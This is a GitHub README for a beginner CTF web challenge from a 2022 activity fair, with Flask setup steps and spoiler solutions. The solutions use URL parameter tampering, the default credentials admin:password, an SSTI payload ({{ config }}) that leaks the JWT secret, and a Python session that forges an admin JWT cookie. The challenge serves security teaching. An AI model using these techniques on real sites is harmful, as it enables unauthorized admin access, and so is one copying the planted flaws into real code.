Skip to content

ShefESH/LoginChallenge2022

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

18 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

LoginChallenge2022

Mini CTF challenge for the September 2022 Activity Fair

Install + Setup

Using poetry

Install poetry for your platform

# Enter project dir
cd web
# Install dependencies
poetry install
# Run application
poetry run flask run

Install Flask

Windows

Install Python:

https://www.python.org/downloads/release/python-397/

Set PATH:

  • Start > Edit Environment Variables
  • Add Python install directory to both System and Environment variables

Check python installed:

PS > python --version

Install flask and other dependencies:

PS > python -m pip install -r requirements.txt

Linux

$ python3 -m pip install -r requirements.txt

Run

Windows

PS > cd .\web\
PS > $env:FLASK_APP = "app"
PS > $env:FLASK_DEBUG = "true"
PS > python -m flask run

Solution

Part 1

Spoilers

Change the http://localhost:5000/?loginSuccessful=False parameter to True

OR

Guess the weak credentials admin:password

Part 2

Spoilers

Leak app secret with SSTI, submitting {{ config }} as username. This will take you to a page that displays the JWT_SECRET_KEY parameter. This key is used to sign JWT cookies.

THEN

Inspect the JWT to see is_admin parameter and forge a new cookie, using the following jwt library to import the JWT_SECRET_KEY as secret.

$ python
>>> import jwt
>>> token = 'eyJ0....K3FA'
>>> secret = ';nod87b;/dfub6vaz.knib'
>>> jwt.decode(token, secret, "HS256") 
{'fresh': False, 'iat': 1663444862, 'jti': '6b0f4003-7579-41cc-bc30-c0fb9c4e3ef3', 'type': 'access', 'sub': {'is_admin': False}, 'nbf': 1663444862, 'csrf': 'fbcf88b6-684e-42e7-8d7d-1de3fd65b58e', 'exp': 1663445762}
>>> j = jwt.decode(token, secret, "HS256") 
>>> j['sub'] = {'is_admin': True}
>>> jwt.encode(j, secret)
'eyJ0...ncRo'

Replace the access_token_cookie with this new value and reload the page.

About

Mini CTF challenge for the September 2022 Activity Fair

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •